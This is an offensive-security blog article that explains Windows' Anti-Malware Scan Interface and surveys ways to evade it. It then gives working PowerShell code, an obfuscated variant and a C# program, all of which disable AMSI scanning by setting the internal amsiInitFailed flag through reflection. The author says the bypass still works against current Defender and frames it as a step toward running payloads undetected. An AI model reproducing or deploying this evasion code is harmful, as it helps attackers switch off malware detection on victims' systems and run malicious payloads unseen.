Evading Windows Security : Bypass AMSI


AMSI Bypass RedTeam Malware Development Powershell Offensive Security Evasion Detection Bypass CyberSecurity Windows Internals

Introduction to AMSI (Anti-Malware Scan Interface)

This article, is the beginning of a long-running series “Evading Windows Security”. In fact, this article introduces AMSI and how it works, then presents some common techniques (both older and newer) found on the web, and finally showcases an AMSI bypass example that remains effective in 2025.

Definition of AMSI

The Antimalware Scan Interface (AMSI) is a Microsoft security feature introduced in Windows 10 (and Windows Server 2016+) designed to detect malicious scripts at runtime. AMSI enables dynamic content scanning, especially for interpreted languages such as:

  • PowerShell
  • VBScript
  • JScript
  • WMI and more

This makes it extremely powerful against obfuscated payloads and fileless malware, since it inspects the content after de-obfuscation, but before execution.

AMSI Architecture and Workflow

Before diving into bypass methods, let’s understand how AMSI works at a high level.

Here’s a breakdown of the AMSI scan lifecycle :

  1. A script engine (like PowerShell.exe or wscript.exe) wants to execute dynamic content.
  2. Before executing it, the engine calls AmsiScanBuffer() to send the content to AMSI.
  3. AMSI communicates with the registered antivirus provider (e.g., Windows Defender) via COM.
  4. The antivirus scans the content in memory.
  5. If malicious, the antivirus can block execution (e.g., by setting a return code indicating malware).
  6. If clean, the script proceeds as normal.

Core AMSI Functions (Windows API Level)

Some importants core functions used by amsi are :

FunctionDescription
AmsiInitializeInitializes AMSI for an application and returns a context handle.
AmsiOpenSessionOpens a session between your app and AMSI (optional, for advanced scanning).
AmsiContextHandle used to point the environment context
AmsiScanBufferThe core scanning function. Sends data to be scanned by the AV engine.
AmsiScanStringSimplified version for string scanning.
AmsiResultIsMalwareChecks whether the scan result indicates malware.
AmsiCloseSessionCloses the session.
AmsiUninitializeFrees the context.

Why Bypass AMSI?

Now that we understand a little what AMSI is and how it functions, let’s explore how to bypass it. For red team operators, malware analysts, and APT actors, bypassing AMSI is sometimes an important step when dealing with dynamically generated payloads. Since AMSI scans and can block malicious content before it executes, neutralizing or circumventing it is essential for evasion.

Common AMSI Bypass Techniques

Over the past several years, threat actors and offensive security researchers alike have a range of techniques to bypass the Windows Antimalware Scan Interface (AMSI). Below, we describe some of the most notable evasion methods observed in the wild and in red team operations.

1. In-Memory Patching

This involves tampering directly with the memory space of a process (after amsi.dll is loaded) to modify how AMSI behaves. Commonly, this means locating a functions or a flag; for example AmsiScanBuffer in memory and overwriting its prologue with instructions like mov eax, 0x0 followed by a ret, effectively forcing the function to always report content as benign. This patching can be done through reflective loaders, shellcode, or inline assembly and is often performed after dynamically resolving the function’s address to avoid static detection.

  • Pros:
    • Simple and highly customizable; doesn’t require binary manipulation.
    • Can evade signature-based scanning if crafted creatively.
  • Cons:
    • Increasingly ineffective against advanced behavioral or emulation-based scanners.
    • Often requires layered obfuscation to avoid heuristic detection, which can reduce readability and maintenance.

2. Obfuscation

Signature-based engines like AMSI rely heavily on known patterns. Obfuscation methods sidestep this by fragmenting suspicious strings (e.g., converting "Invoke-Mimikatz" to "In"+"voke-Mi"+"mikatz"), encoding content (Base64, XOR), or using reversible transformations interpreted at runtime. This can be layered—such as nesting encoded payloads inside a less suspicious wrapper—to decrease the chances of triggering a scan.

  • Pros:
    • Simple and highly customizable; doesn’t require binary manipulation.
    • Can evade signature-based scanning if crafted creatively.
  • Cons:
    • Increasingly ineffective against advanced behavioral or emulation-based scanners.
    • Often requires layered obfuscation to avoid heuristic detection, which can reduce readability and maintenance.

3. Unhooking AMSI

Security solutions often hook AMSI-related functions to monitor or modify behavior. By enumerating loaded modules and inspecting function prologues (via signatures or known hook patterns), it’s possible to detect these modifications and restore the original bytes from a clean module copy. This “unhooking” effectively neutralizes EDR interference without disabling the AMSI subsystem entirely, maintaining stealth.

  • Pros:
    • Neutralizes EDR monitoring without disabling AMSI itself, making it stealthier.
    • Restores clean execution flow for native AMSI functions.
  • Cons:
    • Requires knowledge of hook detection and memory manipulation techniques.
    • May not be effective against user-mode or kernel-mode hooking chains with fallback mechanisms.
    • Can be noisy

4. Alternate Execution Channels

Rather than invoking code through AMSI-monitored avenues like PowerShell, this approach leverages indirect execution vectors like WMI (__EventFilter, __EventConsumer, etc.), COM objects, or even living-off-the-land binaries (LOLBins) that operate under different scanning scopes. Since AMSI primarily targets scripting engines, using mechanisms outside its coverage can yield a successful bypass without any evasion.

  • Pros:
    • Bypasses AMSI entirely by avoiding its scanning perimeter.
    • Leverages trusted system components to reduce suspicion.
  • Cons:
    • May require complex setup or chaining multiple components.
    • Can be flagged by behavior-based detection or event correlation systems

5. Environmental AMSI Avoidance

This technique revolves around executing payloads in contexts that AMSI cannot access. For example, running native code via DLL injection, using unmanaged languages like C++, or pivoting execution to kernel-mode drivers—where AMSI has no jurisdiction. Attackers may also create isolated AppDomains or use custom .NET loaders that omit AMSI integration entirely.

  • Pros:
    • Comprehensive evasion of not just AMSI, but other user-mode security APIs.
    • Offers long-term persistence and control over execution flow.
  • Cons:
    • Requires elevated access or specialized tools (e.g., driver loading).
    • Higher risk of instability or detection at other levels (e.g., kernel auditing, ETW tracing).
  1. Hardware Breakpoints
    A stealthier alternative to patching, this involves setting CPU-level breakpoints on AmsiScanBuffer. When triggered, the breakpoint invokes a custom Vectored Exception Handler (VEH) that modifies the execution flow—e.g., skipping the scan or returning a clean status. Since this doesn’t alter memory contents directly, it can bypass integrity checks and is harder to detect with static analysis.
  • Pros:
    • Stealthy—avoids tampering with code memory, so integrity checks are bypassed.
    • Resilient against common defensive measures like code hashing or page protections.
  • Cons:
    • Relatively advanced technique—limited by number of available hardware breakpoints.
    • Can be unstable across platforms and hindered by modern CPU/memory protection features.

Pratical Example: Memory Patching still effective ?

Let’s try to bypass AMSI with a memory patching method. As we saw earlier, this method is sometimes by EDRs or antivrus, and string obfuscation is needed. We’ll use an old technique which consists on modifying the internal amsiInitFailed flag of the System.Management.Automation.AmsiUtils class using .NET reflection, in updated Microsoft Defender.

The amsiInitFailed static field in AmsiUtils is checked before any AMSI scan operation is invoked. Setting this field to true forces AMSI to exit silently without scanning.

Code Example

The powershell code of this technique is very simple :

# Get the AmsiUtils .NET type
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
# Access the private static field 'amsiInitFailed'
$field = $amsi.GetField('amsiInitFailed', 'NonPublic,Static')
# Set the field to $true to disable AMSI
$field.SetValue($null, $true)
Write-Host "[+] AMSI Bypassed"

Let’s obfuscate this code :

# Deep Obfuscation
$a = [String]::Join('', 'Sy','stem.','Man','agement.Aut','omation.A','msiU','tils')
$b = [String]::Join('', 'am','siIn','itF','ailed')
$t = [Ref].Assembly.GetType($a)
$f = $t.GetField($b, 'NonPublic,Static')
$f.SetValue($null, $true)

Result :

Surprisingly, this technique still works with a bit of obfuscation !!

The C# version of this technique is :

using System;
using System.Reflection;

namespace AmsiBypass
{
    class Program
    {
        static void Main()
        {
            try
            {
                // Get internal AmsiUtils class
                var amsiUtilsType = Type.GetType("System.Management.Automation.AmsiUtils, System.Management.Automation");

                if (amsiUtilsType != null)
                {
                    // Locate the internal static field amsiInitFailed
                    var field = amsiUtilsType.GetField("amsiInitFailed", BindingFlags.NonPublic | BindingFlags.Static);
                    
                    // Set the field value to true, forcing AMSI to consider initialization failed
                    if (field != null)
                    {
                        field.SetValue(null, true);
                        Console.WriteLine("[+] AMSI bypassed successfully using reflection!");
                    }
                    else
                    {
                        Console.WriteLine("[-] Field not found");
                    }
                }
                else
                {
                    Console.WriteLine("[-] AmsiUtils type not found");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] Exception: {ex.Message}");
            }
            Console.WriteLine(">>> Execute your PowerShell payload here...");
        }
    }
}

This bypass is still effective in many environments (as of 2025), especially against EDRs that rely on signature-based patching detection. However, Defender with ASR rules, application control (AppLocker/WDAC), or script logging may still expose behavior.

Conclusion

Bypassing AMSI is a fundamental step for running in-memory payloads in modern Windows environments. From memory patching to reflection-based techniques, the goal is always the same: execute payloads without detection.

In this post, we explored:

  • What AMSI is and how it works
  • Several bypass methods from memory patching to reflection
  • Try an old amsi bypass memory patching technique in powershell with obfuscation

Stay tuned for the next article, where we’ll chain this AMSI bypass with an in-memory loader in PowerShell or C# for full payload execution.

All the examples can be found on my github repos : https://github.com/R3dLevy/TheOffensiveDevelopmentProject

📚 References

© 2025 Jude Levy